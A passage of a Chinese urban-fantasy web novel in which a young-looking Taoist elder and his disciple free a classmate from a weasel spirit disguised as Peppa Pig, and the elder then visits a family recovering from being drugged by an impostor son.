江源为了提升格调,特意给他师祖买了一盆水培吊兰,还是金边的,比普通的吊兰贵了五块钱。 置办完所有东西后,段安洛的钱包又空了。 他还想买个大冰箱,给江源买台电脑,再买个鱼缸养几只乌龟……想起网友们常说的那句“钱难赚,屎难吃”,段安洛佩服,网友说得真是至理名言。 不过这玻璃窗是越看越喜欢,以前最厉害的匠人都烧不出这么透亮的东西,这就是学知识的好处,源儿还是要好好学习,下次的目标是40分。 韩臻听说装修完了,也跑来参观了一下,江源有了太爷爷之后,日子也是好起来了。 桌子上摆着一副棋,平日都是段安洛自己跟自己下,俩人当五子棋下着玩,一边下一边八卦,“咱班许博明这几天不是没来吗?我听说他病的挺严重的。” 江源不解:“他一个练体育的,那么高,那么壮,他能生什么病?” 韩臻在班里人缘很好,消息也灵通,“好像是精神出了问题。” “怎么会?”江源觉得不可思议,许博明典型的阳光开朗大男孩,天天笑哈哈的,跟阿拉斯加一样,他精神能出什么问题? 韩臻有些担心,他们经常在一起打球,玩的挺好的,“我想去看看他,听同学说他就在区医院住院,你去不去?” 江源想到以前他被别的班的大高个人欺负的时候,许博明还帮过他,“我跟师祖说一声。” 段安洛正躺在沙发上睡得迷迷糊糊的,江源凑近轻声说:“师祖,我出去一趟。” “嗯……”段安洛含糊地应了一声,眼皮都没抬。 江源见他没反对,拿了车钥匙就跟韩臻出门了。 他们赶到的时候,许博明正在病房里正闹,“我没病!你们放开我!” “你们看不见吗?小猪佩奇!粉色的!” “它就在那里看着我,窗户底下!你们看!” “它笑了!它对我笑了!我嘞个豆!啊啊啊啊!” 这个年纪的男生力气大,他又是练体育的,打一天的球都不知道累,挣扎起来跟野猪一样,他爸和他哥两个人都摁不住他。 冬天被雨淋了都不感冒的壮小子突然就得了怪病,非说家里面有小猪佩奇,怎么看都觉得精神有问题。正常的医院再查不出问题,他们只能把他送去精神病医院做检查了。 医生仔细观察许博明的表情,“你确定是佩奇,不是乔治?” 许博明气急败坏地跺脚,“她穿着红裙子!乔治是蓝色的!” 医生点了点头,在本子上快速写了一行,病人意识很清醒,还能分得清佩奇和乔治的衣服颜色。 眼看着没人相信自己,许博明生气的看了一圈,一眼看到拎着果篮站在病房门口,不知道能不能进去的江源和韩臻。 许博明眼睛一亮,“韩臻!江源!你们看到没有!那只粉色的猪?” 韩臻一脸茫然,“啥猪啊?你是不是产生了幻觉,怎么病得这么重?” 江源却感觉病房里的磁场不太对劲,他悄悄开了天眼,窗户底下,确实站着一只粉色的小猪,头占了全身的三分之一,头顶一对兔耳朵,大鼻子像保温杯戳进脸里,一侧使劲往外凸着。 身上穿着红裙子,两只比火柴粗不了多少的腿,支撑着胖胖的身体,脚下一双黑色小皮鞋,又扁又平。 再看手,三根手指完美的比了个叉。 它的外形和动画片里的佩奇一模一样,但它的气质和动画片里可爱的佩奇完全不同。 这只粉色小猪浑身缠绕着污浊的黑气,狰狞地咧着嘴,像个扭曲的怪物,更像是某种野生动物。江源一时间看不出来,到底像什么。 更可怕的是,它和许博明之间连着一条黑色的线,像纽带一样,源源不断地吸取着许博明身上的精气。 江源被吓得呼吸一滞,下意识往韩臻身后躲。 那只小猪察觉到他的目光后,猛地扭头,没想到这小孩能看见它。 它猩红的眼睛直勾勾地盯着江源,看他的眼神就像吃饭的时候老板多送的一碟子小菜,它龇牙咧嘴地威胁:“小子,别多管闲事!” 江源害怕地闭上眼,心里默念:“福生无量天尊!阿弥陀佛!祖师爷在上,不对,祖师爷在家睡觉。” 韩臻察觉到江源的异常,低声问:“你怎么了?” 他的眼神已经看向窗边,刚才江源就是看过那里之后才这样的。 许博明也察觉到江源的变化,他惊喜的喊:“江源,你是不是看到它了?你快告诉我爸妈,我没病!他们天天绑着我,还给我打针!” 江源紧紧咬着牙,想到师祖说的,看不顺眼就得干,他要救同学,他不能害怕,他得干! 然后许博明就看到班里最瘦、最矮的小豆包,咬牙切齿地走到他说的那个窗户边,抬腿就踹了一脚。 27 司苍:早晚把你扒光! 粉色小猪感觉无形中一只大手从天上降下来,狠狠地将它拍扁。 然后接连不断地在它身上拍,像拍苍蝇一样,一下接一下。每次拍下来的时候胸腔被挤压到几乎没有空间,在它快死的时候大手离开,给它喘息的机会,紧接着又拍它。拍完摁在地上摩擦两下,接着又拍几下。 它感觉灵魂都要拍散了。 它心想:幸亏本体没来,要不然今天就得死这里。 不过灵魂出窍被这么拍也不好受,对方没想要它的命,纯粹是精神上折磨它。 挣扎几次之后,小猪趴下不动了,还不如死了好受。 段安洛收了手,没好气地说:“把它给我拎进来!” 江源得令,赶紧跑出去抓。有师祖在,他的胆子就涨回来了,让他拿根棍子往天上捅个窟窿他都敢去。 韩臻急得不行,直喊:“让我看一眼啊,我什么都看不见!源子快给我开个天眼!” 许博明震惊的下巴都快掉下来了,看到江源把小猪拎进来,一米八几的大个儿,吓得往韩臻身后躲。 江源抖了抖小猪,发现已经不动了,抬手就在猪脸上抽了一巴掌,看它有反应才递给段安洛,“师祖,还活着。” 许博明咽了口唾沫,班级最老实的学生竟然这么猛,他小声问:“他们家到底干什么的?这是谁呀?” 韩臻解释:“这是江源家的长辈,辈分特别高,你跟我一起叫太爷爷。他绝对能救你的命,特别神!” 许博明惊为天人:“现在的高人都长这样吗?你实话跟我说,你们是不是都偷偷修仙了?有一天官方宣布灵气复苏了,你们修仙的都飞走了,我连扫把都不会骑。” 韩臻用眼神骂骂咧咧:你小子病得不轻! 段安洛抓着小猪的耳朵,像拎兔子一样把它拎起来。看它身上的怨气太重,伸出两根手指,屈指一弹,把它身上的怨气弹散后,露出本来的粉色。 别说,还挺好看的。 小猪看到段安洛这张比狐狸精都好看的脸,试探地问:“是胡家老太爷吗?” 段安洛冷下脸:“你看我长得像狐狸精?” 他最讨厌狐狸精了!特别是男狐狸精,母狐狸不算,风情万种的小姐姐谁不爱看? 小猪一看段安洛的反应就知道不是,心想完了,碰到硬茬子了,一点亲戚都攀不上。 段安洛还在好奇:“这是个什么东西?猪不猪,兔子不兔子,还有这三个叉是爪子还是蹄子?尾巴怎么还能拐弯?” 段安洛揪了一下,一松手,尾巴“Duang”一下自己弹了回去。 段安洛笑了:“源儿你看!它的尾巴会拐弯。” 江源配合地点头,然后就从一只猪的脸上看出了绝望。 段安洛第一次见长得这么奇怪的小玩意儿,他看到过网上卖的一种小玩具,把尾巴拽得又细又长,然后一松手,尾巴就会自己旋转着缩回去,转的像螺旋桨一样快。 段安洛试探地拽了一下,疼得小猪“嗷”一嗓子,尾巴没转圈,又变回原来的样子。 段安洛赶紧给揉了揉,“不会转圈也没关系,已经很好玩了。源儿,快去找个鸡笼子,我要养它。” 江源提醒:“师祖,它长得像小猪佩奇。” “配什么旗也不能砸我玻璃!”段安洛冷笑着说:“砸了就要赔,五万块钱,没钱就别走了,赶紧把它装进笼子里。” 眼看着自己栽了,小猪恶狠狠地瞪着许博明:“我爷爷不会放过你们的!我死也要拉着你当垫背!” 段安洛突然好奇:“你爷爷也长这样吗?” 长一样的话,就一起养。 看到段安洛眼里的光,小猪心底一颤:“你知道我爷爷是谁吗?” 许博明:“我知道,你爷爷叫GrandpaPig,擅长种菜和制作东西。” 江源补充:“你还有个朋友叫小羊苏西,另一个叫小兔瑞贝卡。” 小猪沉默了…… 几秒后,它就像被戳到了暴走的按钮,开始疯狂挣扎:“许博明!我要你死!你害我没了百年道行还敢骂我,你才是猪,你全家都是猪!” 被段安洛弹散的怨气再一次生出来,小猪的脸变得狰狞可怕。被拎着挣脱不开,回头想咬段安洛的手。 段安洛拎着它耳朵甩了甩,把它甩得头晕眼花:“你要是想谈,咱们就好好谈;你要是不想谈,贫道还懂一些拳脚。谈?还是打?” 小猪知道打不过,龇牙咧嘴地说:“谈!我谈他妈的!” 段安洛指着窗户:“赔钱!十万。” “我没钱。”说完它又怕挨揍,“我叫我爷爷来赔钱。” “给你爷爷送信,把你本体带过来,今晚不来就涨价了,二十万。” 小猪活了这么多年都没想到,它被人类碰瓷了,这年头,还是人坏啊!它色厉内荏的威胁:“我,我劝你对我好一点,我爷爷有三百年道行!” 段安洛笑了笑,“你一百年,你爷爷三百年,那你们这个物种也不行啊,一百年才生一窝。” “你懂个屁!”它们只要是一个物种,不管有没有血缘,都是亲戚。 太奶、姑奶、二姨奶,七舅爷,八姑爷、三舅姥爷……亲戚多着呢。 回答它的是江源的一巴掌,直接抽它嘴巴上,“你跟我师祖说话客气点!” 小猪绝望了,连这个废物都敢打它。 它不说话了,闭着眼睛一动不动,应该是给它爷爷送信。 许博明好奇:“这是用脑电波发电报吗?” 段安洛这才想起来问:“这是谁呀?” 江源介绍:“我同学,这小猪本来是缠着他的。” 段安洛无语,看着也不是很聪明的样子,愁人啊,跟他家源儿一起玩的孩子怎么都是这一款的?想想也是,班里学习好的孩子谁愿意跟学渣一起玩? 段安洛拿了根红线,双手搓了搓,几下就搓出一根绳子,然后把那只小猪拴在桌子腿上。 看到他这样,许博明害怕了,长得好看的人都不能得罪。 小猪生气地踹桌子:“把我当什么?狗吗?” 段安洛好脾气地提醒它:“踹坏了就给你记账,这桌子八万,椅子五万,没钱就打工赔钱,干到死。” 小猪老实了,爷爷说得对,人越美心越狠,长得好看的妖怪不能信,人更不能信。 段安洛坐在藤椅上:“说说吧,怎么回事?” 小猪用三叉手指着许博明:“他毁我道行!” 许博明一脸冤枉:“我不认识你啊。” “十天前的晚上,我下山讨封,我问你‘我像人还是像神’,你他妈说我像小猪佩奇!你毁我百年道行,竟然敢说你不认识我!” 江源反应过来,“它是黄皮子?黄鼠狼啊!” 他早就听师父说过黄皮子讨封的故事,说像神,会替黄皮子承担因果,说像人,会毁其道行,被黄皮子缠上,不死不休。 一般人都会选择装傻,但也未必能躲得过去,因为被黄皮子选中之后,它会一直缠着你,一直问,想躲都躲不掉。 但直接说像猪,还是动画片里的猪,他还真没想到。 不过,真的说什么像什么吗?要是有这么神奇,他想许愿把它变成印钞机。 许博明一脸茫然,“有这事?” 小猪愤怒地跳起来,“你竟然忘了!我要杀了你!” 许博明往后退了好几步,害怕地说:“要是让我说,我肯定不会说出像小猪佩奇这样的话,我可能会说我看你像保佑我逢考必过、选择题全蒙对、大题全背对、只保佑我一个人的大慈大悲观世音菩萨养的小锦鲤。” 现在的学生,在做题和作弊之间,选择做法。 韩臻听明白了,小声嘟囔:“不应该说:我看你像一个金发、碧眼、狐耳、身高1米5、穿着粉色小裙子只爱我一个人的小萝莉吗?” 许博明突然脸红,“你太龌龊了!” 韩臻觉得莫名其妙,“不是,我怎么龌龊了?” 许博明红着脸,“就是龌龊!” 喜欢看动画片的体育生特别单纯。 江源插嘴:“一米五怎么龌龊了?!” 许博明:“……” “源哥的神经……”韩臻做了个拉面的动作,“有点长,习惯就好。” 这么一闹,许博明突然想起来了:“好像是有这么回事儿……那天我过生日,我和几个朋友打完球就去吃饭,偷点了一瓶啤酒,真没多喝!就五个人分一瓶!奇怪的是,我喝了半杯就晕了。 迷迷糊糊好像有人问我像什么,我也没看清,我就随口说了一句,我还以为自己是做梦,我都把这事忘了。” 小猪气得直跳脚:“你随口一说,毁我百年道行!” 段安洛挑眉:“那你想怎么办?” 小猪咬牙切齿:“让他死!” 段安洛摇头,“不至于,还有别的解决办法。” “我不听我不听!”小猪捂住耳朵直跺脚。 段安洛也不着急:“行,等你冷静了再谈。” 过了半晌,小猪终于平静下来:“……谈吧。” 打又打不过,它有什么办法? 段安洛意味深长地说:“这何尝不是你的因果?平日没有积德行善,却想让人类替你背负因果,他但凡说你像神,天雷劈下来的第一道,就会落他身上。 你敢说,他半杯啤酒就迷糊,你没从中作梗?就你这样的,即便讨封成功,迟早也要被天雷劈死。” 小猪梗着脖子,想顶嘴,段安洛眯了眯眼睛,小猪立马萎了,“我不管,反正他毁了我的道行,他要赔。” 主打一个嘴硬,骨头软,不听劝,只想自己。 段安洛修长的手指轻轻敲击着藤椅扶手,目光在许博明和小猪之间来回扫视,目光定在许博明身上,“你,给钱,我把你们的因果了结。” 许博明咽了口唾沫,“多、多少?” 他听说有本事的大师特别贵,他不一定能给得起。 “你看着给吧。”段安洛突然指向碎裂的玻璃窗,气呼呼地说:“但窗户必须现在、立刻、马上给我修好!” “啊?这,好!太爷您放心,我马上给您换!”许博明如蒙大赦,转身就要往外跑,“江源,你小电车借我用一下。” “等等。”段安洛手指一勾,许博明感觉衣领被一股无形的力量拽住,“天黑前修不好,我就把你和这只猪一起拴在桌子腿上。” 许博明打了个寒颤,他们果然背着自己偷偷修仙了! 不对,重点是去跟他爸要钱,他头也不回地冲了出去,修仙的事改天再说吧。 此时他家里正乱着呢,他爸刚从医院赶回来,脸色铁青地摔了车钥匙,那小子竟然跑了,他要联系精神病院,要不然这病治不好了。 许博明气喘吁吁地跑进家门,迎面就撞上他爸铁青的脸。 “爸!我需要钱!” 他爸一把揪住他的衣领,“要什么钱,赶紧跟我去医院。” 许博明急得满头大汗:“是真的!有只妖怪缠上我了!” 要不是孩子比自己都高了,不好意思再打了,许爸爸真想抽他两巴掌,“你真是越来越离谱了。” 他跟神经病说不明白,“赶紧绑了,去医院。” 这时候,头发全白的老太太拄着拐杖从自己房间走出来,“明仔,有高人给你看好了?” 许博明看见她就像看到救星,“奶奶,救我!” “妈!您别跟着添乱!”许爸爸烦躁地挥手,“咱们要相信科学,有病赶紧治,别耽误了病情。” 老太太颤巍巍地从口袋掏出个绣花的旧钱包:“我不信什么科学啊,迷信的,我就信我孙子。” 她抖着手数出八张百元的钞票,“你们不给,我给。” 许博明颤颤巍巍地去接,许爸爸一把夺过钱,“你敢花这个钱,我就打断你的腿!” 许博明眼疾手快地抢过钱,拔腿就跑。 到了段安洛家,许博明上气不接下气地递上皱巴巴的钱:“八百,够吗?我还有点零花钱,够换玻璃的。” 小猪突然从段安洛身后探出头,阴森森地说:“不够,我要你三十年的阳寿。” 段安洛反手弹了下小猪的鼻子,“轮不到你讨价还价。” 他转向许博明,“钱够了,别着急。” 两分钟后,许爸爸才气喘吁吁地赶到,段安洛这时抬手,灵气笼罩了整个屋子。 许爸爸扶着门框喘着气,抬眼就看到令他终身难忘的一幕:一只粉红色的小猪正龇牙咧嘴地对他儿子,恨不能上去咬死他,而它的身上绑着一条黑色的线,线那一头正牢牢地绑在他儿子身上。 儿子说的竟然是真的! 就在这时候,那小猪突然扑向许博明,许爸爸条件反射地冲进去,脑子里唯一的念头就是救儿子。 这时就见坐在藤椅上的年轻人伸出一只白净的手,缓缓落在那根黑线上,轻轻一拽,小猪疼得“嗷”的一声惨叫,不敢再行凶了。 段安洛被气笑了,这小东西想趁着因果还没断,要许博明的命。只要掐断那条线,他们两者之间的因果就断了,小猪不能再找许博明的麻烦,否则害人性命就是给自己造孽。 段安洛直接把那条线掐断,因果一断,小猪趴在地上,变成了一只大黄鼠狼。 段安洛嫌弃,不是粉色小猪,他没兴趣养。 黄鼠狼这个物种,他喜欢小小联盟军里那种没心眼的,小小一只,没什么野心,就想吃口饭,那种会很可爱。 要么就是白毛的,有心机也没关系,因为长得好看。 这种黄毛又小心眼的,不行,他不喜欢。 段安洛低头问:“你爷爷什么毛色?” “我爷爷来了你就知道了。”黄鼠狼的小眼睛一直转,暗搓搓地盘算,显然还不服气。 段安洛没把它放眼里,抬头看向许家父子,“他嘴贱惹的祸,以后每逢初一、十五,给它烧纸上供,十年,一次都不能少。” 28 走吧,带你见家长 段家刚经历了一场闹剧,所有人都睡不着,尤其是段铎海和林婉秋两口子。 警察把段明轩带走了,段安瑭跟过去处理,也去了警局。 本来两口子不想报警,怕段明轩留了案底,影响他以后的发展。是段安瑭直接拍板,谁拦着也没用。作为家中的长子,段安瑭在家中还是很有话语权的,有时候段铎海也拿他没办法。 段安瑭真的生气了,处理完国外的事务回来,本来就很累,进门就是一杯咸咖啡。 他做哥哥的,不会跟他计较这点小事,段明轩偏要看着他喝完,他不喝就像对不起他一样。 段安瑭当时就冷下脸,你可以耍心机,但不能对家里人耍。对外,也不能用这么不入流的手段。 不要求你必须有多大的出息,最起码,你得像个男人吧?有问题坦坦荡荡地说出来,你都二十三岁了,你这副样子给谁看? 段安瑭直接放在一边,没有要喝的意思,段明轩的脸色当时就变了。 回去没几分钟,段明轩就开始打爹骂娘,甚至对父母动手。 他像疯了一样,逼着父亲把所有的家产都给他,让他这个大哥净身出户,要不然就要让他这个大哥身败名裂,不得好死。 不知道的,还以为他这个做大哥的,做了什么十恶不赦的事。 本来段安瑭就对段明轩的身份起疑,段明轩对父母动手,直接踩到了段安瑭的底线。 这事必须查清楚,现在就查! 他之所以对多次验证的结果后再次起疑,是因为他这次出国,拜访了一下二爷爷,就是他爷爷的亲弟弟。 很多年前,因为老一辈的一些事情,二爷爷移居国外,家里人都以为他死了,直到爷爷去世之前二爷爷才找回来认亲。 爷爷去世后,两家关系也不算热络。但他作为晚辈,既然去了国外就应该去拜访一下。 二爷爷家有个孙子,和安洛的眼睛长得非常像。一问才知道,他们段家祖上有少数民族的血脉,每隔几代就会出这种眼睛的孩子。 这件事他爷爷没提过,他父亲自然也不知道。 没有血缘关系,段安洛怎么会长出那样的眼眸? 既然自己查不出来,那就找官方来查,正好关段明轩几天,让他不要跟任何人接触。如果真是鸠占鹊巢,那就是有人下了一步大棋,段明轩一个人绝对做不到,他在外面反而容易让人做手脚。 大厅里,段铎海脸色阴沉,紧抿着嘴一言不发。五十多年岁月的沉淀,让他周身散发着令人窒息的气场。 林婉秋性子娴静,此刻红着眼圈,偶尔擦一下眼泪,默默无言。 段铎海看着妻子这副模样,心疼不已,却又不知道怎么劝,只能过一会儿默默递给她一张纸巾。 回想之前,他们原本是幸福的一家人。大儿子精明能干,把企业越做越大。 小儿子也是名牌大学毕业,虽然不爱说话,但画画很好,特别擅长山水画。 两个孩子都算有出息,他们两口子身体也硬朗。 段铎海本想着再过几年就能退休,带着妻子出去旅旅游,度度假。等大儿子结了婚有了孩子,他们就回来含饴弄孙,享受天伦之乐。 可自从段明轩被认回来,这个家就被搅得鸡犬不宁。先是段安洛对段明轩各种找麻烦,两人吵架、打架,段安洛甚至下死手,好几次差点闹出人命。 段安洛走了之后,家里总算安静了两个月,可这两个月也是提心吊胆,担心段安洛在外面过得好不好,一想到他单方面跟家里断了联系,又心寒又生气。 紧接着,段明轩又疯了。 这个孽障!逼他把他大哥赶走,还贪心地想要霸占家里所有的家产!他还没死呢,他就开始惦记这点家业! 他就说了他一句,他就敢动手打他,段铎海现在胸口还隐隐作痛。 更过分的是,他竟敢推他妈妈! 当初安洛把他从楼梯上推下来,他这么年轻都摔断了两根肋骨。他妈妈这个年纪,要是从那么高的楼梯上后仰着倒下去,后脑勺着地,他都不敢想后果。 段铎海越想越气,这个孽子!安瑭和安洛长这么大,都没跟他们妈妈说过一句重话!他怎么敢的?! 林婉秋更多的是心寒,这几个月来,她对段明轩掏心掏肺,把能给的都给了他,只求弥补这么多年的亏欠。为了照顾他的情绪,她甚至不敢去看望段安洛。可是,这孩子想要她的命。 她稳定了一下情绪,下意识地看向自己差点摔倒的地方,隐隐觉得不对劲。 段铎海见她出神,也随着她的目光看向楼梯,问道:“怎么了?” “我……我从刚才就感觉有些奇怪,”林婉秋迟疑地说,“好像有东西在保护我。” “怎么说?” “我当时已经往后仰到快45度了,按理说肯定会倒下去的。可是中途,好像有一股力量推了我一下……” 段铎海皱眉,那个地方什么东西都没有。 角落里,几十个小动物吓得瑟瑟发抖,全都往门口缩。 “怎么办?我们暴露了,要不要跑路?” “别怕,他们看不见我们。” “万一他找大师来抓我们怎么办?” “应该不会吧,我们救了她的命。” “不怕,我闻到了饲养员的味道。” …… 两口子研究了半天也没看出个所以然,段铎海突然想到他喝的那杯咖啡,立刻吩咐人:“把那杯咖啡送去化验!再把明轩吃过的东西都送去化验。” 他总觉得那杯咖啡很奇怪,如果只是糖加多了,他或许不会起疑。可偏偏段明轩端给他的咖啡里,加了大量的盐,还叮嘱他一定要喝掉。 他想到之前段安洛也曾脾气暴躁,情绪控制不住,这两者看似没有关系,却让他隐隐感觉不对劲。 商场征战几十年,他的感觉比普通人更加敏锐。 既然大儿子要查,那就再彻查一次。 段安洛从车里跑出去后表面淡定,心里其实慌得不行,完蛋了,被司苍给扒得一干二净。 司苍到底是做什么的?怎么能心思缜密成这样?那个白子越跟他是一个队的,看起来就很单纯。 他要跟司苍绝交,他有密集恐惧症,不喜欢心眼子多的人。 站在段家气派的大门门口,段安洛犹豫了一下,还是往前走了几步。 然后就听“咔嚓”一声,沉重的大门自己打开,紧接着就是甜美的电子声:“欢迎回家。” 段安洛被吓了一跳,这是什么高科技?自己开门可还行?多少钱?他也要安一个这样的门。 院落大门和楼房大门的系统相连,这边一响,另一边立马就有了动静。 林婉秋以为是段安瑭回来了,还纳闷,这么快就有结果了?走到门口的监控上一看,就看到仰着脸为大门的高科技着迷的段安洛,她惊喜地告诉段铎海:“洛洛回来了!” 这个消息,给家里沉闷的气氛注入了生机,林婉秋高兴地跑出来,眼角的皱纹都笑了出来。 段安洛苦笑了一下,希望不露馅吧,要不然今晚就别睡了,段家会翻了天。 段铎海站在门口,冷着脸,凶巴巴地喊了句:“站在门口干什么?还不进来?” 嘴上说的凶,颤抖的手还是能看出他的激动。 段安洛看清段铎海的长相后,仿佛雷劈一样,整个人傻愣愣地立在原地,在他五岁时就殉情的爹,为什么,在这里? 这个纯爱战神,他……呵!段安洛哭笑不得,这就是天道的安排吗? 他僵着脖子,再看走近的林婉秋,这,不会是他从未谋面的娘吧? “娘,不是,妈,您,这样站。”段安洛让林婉秋转了半个身,自己蹲下,从下往上看林婉秋的侧脸,这个角度,再想象一下三十年前,林婉秋年轻的时候…… 段安洛沉默了,想笑,又笑不出来,天道的安排还真是……怪细心的。 那段安瑭长得像谁呢? 林婉秋低下头,看着小儿子“委屈”的样子,回头瞪了丈夫一眼,看把孩子给吓得?关心也不会说一句软话,只会发脾气。 段铎海叹了口气,语气缓和下来,“还有你那个朋友,人家大半夜的送你回来,还不请人家一起进来?” 段安洛回头,看见站在车门口,用深邃的眼眸望着他的司苍,那双丹凤眼里的情绪有些复杂,天太黑,段安洛看不清楚。 他摇了摇头,绝交什么的,是他痴人说梦。 命运纠缠不清,那就,继续纠缠吧,他站起来,朝身后招招手,“走吧,带你见家长。” 林婉秋:见家长? 她看司苍的眼神顿时古怪起来,普通朋友会用见家长这一说吗? 不过现在也不是说这些的时候,林婉秋拍了拍段安洛衣服上的褶皱,心疼地问:“你怎么这么晚回来?也不知道跟家里说一声。” 段安洛低头看着林婉秋的眼睛,以前他总想,他娘要是生他的时候没死,会是什么样子?她有血有肉,能对他笑,而不是一副冷冰冰的画卷,不会说话,不会老,只能挂在墙上。 段安洛的声音柔和下来,嘴角勾出一抹浅笑,即便知道她不是她,还是想跟她多说两句话,“想家了,回来看看。” 林婉秋开心的说:“赶紧进去,叫你朋友一起。” 段安洛回头看了眼站着没动的司苍,主动走回去,拉着胳膊往家里拖,“你不会想偷溜吧?你走了我怎么回去?” 司苍认真地问:“信球是什么意思?” 段安洛差点笑出来,竟然在纠结这个,司苍的性子其实挺可爱的,“我哪知道?我听大白鹅说的,你个信球,他个信球的,它还说达了个蛋是下了个大蛋的意思,我觉得不对劲,禁止它说家乡话。” 林婉秋看见他俩亲密的动作,凑到一起小声说话的样子,心里就有数了。 进了家门,段安洛打量了一下周围的环境,所有的一切都给他一种既熟悉又陌生的感觉。 特别是背景墙上挂着一副五六米长的万里江山图,感觉这个画风,有点熟悉。 再看墙角,一群小仙家眼巴巴地看着他,特别是那俩小妲己,纯白的皮毛油光水滑,找不到一根杂毛,只有鼻子和眼睛是黑的,开心了还会笑,伤心了也会哭,灵性比其他动物要强很多。 段安洛悄悄地伸出一根手指头,勾了勾,其他小仙家还没反应过来怎么回事,两只狐狸就跑过来,一左一右,趴在段安洛的肩膀上。 然后三张漂亮的脸,一起看向司苍,笑起来的时候连嘴角的弧度都很像。 司苍的心脏莫名慢了半拍,老古董伪装狐狸精! 林婉秋现在的心思都在司苍身上,不动声色地打听:“你是洛洛的朋友吧,多谢你这么晚送他回来,也要多谢你这段时间对他的照顾。” 林婉秋客气地拿水果,倒水,生怕招待不周,“大晚上的,家里也没什么准备,委屈你了。” 司苍淡定地接过水,“伯母不用客气。” “你多大了?看着和洛洛差不多。” 司苍面容冷峻,但是礼数周全,跟长辈说话不仅没有拉着脸,反而有问必答:“同岁,比他大七个月零十五天。” “哦,大七个多月啊。”还有零有整的,林婉秋心里明白了,对洛洛的生日也了如指掌。 “你家里是做什么的?” 司苍不解,她问这些做什么?别人问这个,他早就冷着脸,把对方冻死了,可她是段安洛的母亲,他隐隐的有种不想得罪她的感觉,于是遵从本能:“一部分经商,一部分从军,还有一部分种地。” 还有一部分不听话的,他打算种地里,这话不能说。 “哦~”林婉秋了然地点点头,家族很大,都是正经人。 司苍感觉林婉秋看他的眼神,还有问他的问题,好像有别的意思。 他无奈地看段安洛,眼神示意他:你母亲怎么回事? 可惜段安洛现在自顾不暇,段铎海也在审段安洛:“要是你妈看不见你,你是不是就不进来?” 他脑补段安洛想家,晚上偷偷在外面看,不敢进来的画面,段铎海心软了,“你就不能认个错,服个软?我还能真不要你了?” 段安洛看见他那张脸,就一肚子怨气。母亲生他时难产而死,他被世人说成克母。终日抑郁的父亲在他五岁时殉情,这样他又克死了父亲。再加上这双能看到别人生死的眼睛,他成了世人口中的天煞孤星、妖孽转世、不详之人。 他把五岁的他舍在那个吃人不吐骨头的富贵炼狱里,从没想过他要怎么活下去。 对父辈的决定,段安洛无权干涉,也知道段铎海不是他以前那个爹,对方没有以前的记忆。但段安洛就是不想跟他说话。 段铎海看妻子,他怎么回事?又哑巴了? 可惜林婉秋心思都在司苍身上,没接收到丈夫的眼神,小伙子长得真帅气,五官好,身材好,一脸英气,哪儿都好。 段铎海又看段安洛,段安洛立刻垂下眼,紧闭嘴巴:本人已死,有事烧纸,小事招魂,大事挖坟。 当然了,你挖我也不一定跳出来,心情不好,死了也要烂透了,谁挖熏死谁。 “看看!又是这副死样子!哑巴了?”段铎海的怒气值眼见着又要飙升,“你但凡解释两句,当初能把你赶出去?” 眼看着段安洛要被骂,司苍突然出声:“他之前性情冲动,是被段明轩下药了。” “什么?”这一句话彻底改变了聊天的走向,把两口子的心思全都拉回正轨。 司苍继续道:“你们也一样,只不过给你们下的药被换成了盐,药被段明轩自己误吃了。” 两口子震惊地看着彼此,段铎海又想到那杯加了盐的咖啡,果然有问题。 段安洛懵了:司苍真直接啊,这就是网友口中的直球吧。 刚才也是,直接就说“我调查你了”,不过司苍这种心思缜密却直接的人,比心思深沉又口蜜腹剑的人,要好一万倍。 越看越顺眼了怎么办? 两口子都心疼段安洛,孩子受委屈了。结果林婉秋扭头就看见段安洛眼睛亮晶晶地看着司苍,她嘴角抽了抽,她还能说点什么? 司苍站起来,“药剂师已经在抓了,稍后会有人把事情真相告诉你们。如果没别的事,我先走了。” 段安洛紧跟着站了起来,“我也走。” 林婉秋也站了起来,“你去哪儿?” 段安洛笑着安抚她:“我去看看卖药的人抓到没有,您不用担心,我,我会给您打电话的。” 他现在知道身份-证号了,回去就补办电话号,再把之前的绿泡泡账号找回来,只留他妈,爸就拉黑吧。 林婉秋缓缓点头,“去吧,注意安全。” 段安洛得了赦令,对着段铎海勉强点了下头,小跑出去追司苍了。 段铎海还想说什么,林婉秋拦住了丈夫,“他想走就走吧,孩子心里有隔阂,而且你没看出来吗?他们两个的关系。” “什么关系?” 司苍腿长,走得快,段安洛从身后拽住司苍的衣角,使劲往后扯,“你怎么这么不讲义气,说走就走?” 司苍扯回自己的衣服,“你都要杀我灭口了,我还要等你?” 段安洛又扯回来,“不是说了逗你玩的吗?我又打不过你,我怎么可能想杀你?你查我,我都没有生气,你怎么这么不讲道理?” 29 我不可能被抓走!(修文) 早上就传来消息,那个药剂师已经被抓到了。因为案件牵扯到玄学,已经转交给公会处理,连段明轩也被移交过去。 更重要的是,那个药剂师曾经做过一个案子,牵扯到了司苍。会长直接下令将案件转到总部,他要亲自督办。 事情一下子就闹大了。 在沙发上睡了半夜的段安洛一睁开眼,就看到白子越和司苍通电话,白子越的嘴跟机关枪似的,突突突说个不停,听起来就活力四射的。 他更关心的是:“段明轩到底是不是段家亲生的?” “不是!那个巫医给他用了药。我去看了,那药太恶心了,用了之后就算是跟狗做亲子鉴定,结果都会显示狗是人亲生的。 你们没看见,他被抓回来的时候,光那些药就装了一整车!就是那种运雪糕的冷藏车,装得满满当当的! 全是瓶瓶罐罐,还有腌咸菜的坛子,里面装的东西我也看不懂,技术部的人已经拉去检测了,暂时还不知道那些药膏、药粉的成分。 对了,他们在地下室还发现了人类尸体和动物骨头,有些已经被磨成粉了。太恶心了!那些药膏、药粉很可能就是这么制成的。 你们快过来啊,我带你们去看看。” 司苍嫌他太吵,直接把手机给了段安洛。这时门铃响了,司苍转身去开门。 白子越一边说着恶心,一边吃东西,段安洛好奇地问:“你们部门这么清闲吗?” “哈哈哈,我现在没任务,就是老大的人形挂件,专门镇压他身上的黑气用的。”白子越“呸呸”两声,似乎吐出了什么东西,然后含糊不清地说:“老大不动,我就不动,我们小组的人都派出去了。” 段安洛狠狠地羡慕了,这种工作他也想要,每天吃吃喝喝、看看热闹就能领工资。 “对了,你们把调查结果给段明轩看了吗?” “还没呢,我看他半天了,现在没人管他,他们主要精力都放在审那个巫医身上。” 段安洛嘴角微扬:“正好,我亲自去告诉他。” 司苍拎着早餐回来,放在餐桌上:“吃完饭再去。” 这时白子越才反应过来:“你们俩昨晚在一起?你们同居了?” 司苍不耐烦说:“你怎么这么多废话?” 白子越顿时了然,他又发现真相了,他把这个消息发到他们小群里,还能换六个红包。 段安洛也觉得这小伙子太闹腾了,他有点跟不上节奏。 司苍一边打开饭盒一边说:“洗手间有一次性的洗漱用品。” 